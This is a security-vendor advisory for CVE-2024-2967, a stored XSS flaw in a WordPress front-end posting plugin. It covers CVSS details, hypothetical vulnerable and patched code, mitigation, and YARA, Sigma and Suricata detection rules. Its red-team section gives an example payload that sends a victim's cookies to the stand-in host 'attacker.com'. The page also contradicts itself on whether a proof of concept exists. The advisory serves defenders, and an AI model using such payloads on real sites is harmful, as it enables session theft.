CVE-2024-2967
Executive Summary
CVE-2024-2967 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WordPress plugin "WP Front User Submit / Front Editor" (also known as "Guest posting / Frontend Posting"). The flaw exists in all versions up to and including 4.4.7. It allows authenticated attackers with administrator-level permissions to inject arbitrary web scripts via form settings. The vulnerability is only exploitable on multi-site installations or where unfiltered_html has been disabled. The CVSS score is 4.4 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation. No public proof-of-concept or patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor the plugin's page for updates and verify the integrity of the plugin files using checksums provided by WordPress.org. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 4.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – requires admin-level access
- User Interaction: Required (UI:R) – victim must visit the injected page
- Scope: Changed (S:C) – impacts resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. Exploitation requires high privileges, but the impact can be significant in multi-site environments where admin-level users can compromise other sites.
Deep Dive & Mechanics
The vulnerability resides in the form settings functionality of the WP Front User Submit / Front Editor plugin. The plugin fails to properly sanitize user input and escape output when processing form configuration data. An authenticated administrator can inject malicious JavaScript into form settings fields. When a user (including other administrators or visitors) accesses a page that renders these settings, the injected script executes in their browser context.
Root Cause: Insufficient input sanitization and output escaping in the plugin's form settings handler. The plugin does not filter or escape HTML/JavaScript before storing or displaying the settings.
Attack Scenario:
- An attacker with admin-level access on a multi-site WordPress installation navigates to the plugin's settings page.
- The attacker injects a malicious script (e.g.,
<script>alert('XSS')</script>) into a form setting field. - The plugin stores the malicious input without sanitization.
- When any user (including lower-privileged users or visitors) views a page that renders the form settings, the script executes.
- The attacker can steal cookies, redirect users, or perform actions on behalf of the victim.
Affected Component: The plugin's form settings management interface.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on the vulnerability description.
Vulnerable Code (Example):
// In vulnerable version, form settings are stored and displayed without sanitization
function display_form_settings($settings) {
echo $settings['form_title']; // No escaping
}
Patched Code (Hypothetical):
// Patched version uses proper escaping
function display_form_settings($settings) {
echo esc_html($settings['form_title']); // Escaped output
}
The key difference is the use of esc_html() or similar WordPress escaping functions to prevent XSS.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Admin-level access to a WordPress multi-site installation.
- The vulnerable plugin (<= 4.4.7) installed and activated.
Steps:
- Log in as an administrator.
- Navigate to the plugin's settings page (e.g.,
/wp-admin/admin.php?page=wp-front-user-submit-settings). - Locate a form setting field (e.g., "Form Title").
- Inject a payload such as:
Or a more malicious payload:<script>alert('XSS')</script><script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Save the settings.
- Any user visiting a page that renders the form settings will trigger the script.
Note: No public exploit code is available.
Blue Team (Defender)
Detection Steps:
- Monitor for unusual admin-level changes to plugin settings.
- Review logs for suspicious POST requests to plugin settings endpoints.
- Use the detection rules provided below.
Mitigation:
- Disable the plugin if not essential.
- Restrict admin access to trusted users only.
- Implement Web Application Firewall (WAF) rules to block XSS payloads.
Indicators of Compromise (IOCs)
- File Hashes: Unknown (no specific files identified).
- Network Indicators:
- Outbound connections to attacker-controlled domains from WordPress admin pages.
- Suspicious JavaScript in form settings fields.
- Log Entries:
- POST requests to
/wp-admin/admin.php?page=wp-front-user-submit-settingswith unusual parameters. - Error logs showing script execution attempts.
- POST requests to
Detection Engineering
YARA Rule
rule CVE_2024_2967_XSS_WordPress {
meta:
description = "Detects stored XSS payloads in WP Front User Submit plugin settings"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-2967"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
$xss3 = /javascript\s*:/is
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: CVE-2024-2967 Stored XSS in WP Front User Submit
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in plugin settings
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/admin.php*'
http.body|contains: 'wp-front-user-submit-settings'
keywords:
- '<script'
- 'onload='
- 'onerror='
condition: selection and keywords
falsepositives:
- Legitimate admin use of JavaScript in settings (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-2967 Stored XSS in WP Front User Submit"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"wp-front-user-submit-settings"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not critical to operations.
- Restrict admin access to only trusted users.
- Enable
unfiltered_htmlcapability only for super admins (if multi-site).
Long-term Fix:
- Apply a patch when released by the vendor.
- Consider replacing the plugin with an alternative that is actively maintained.
Workaround:
- Use a Web Application Firewall (WAF) to block XSS payloads.
- Implement Content Security Policy (CSP) headers to mitigate script execution.
Monitoring:
- Continuously monitor for suspicious admin activity.
- Review plugin settings for unexpected changes.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.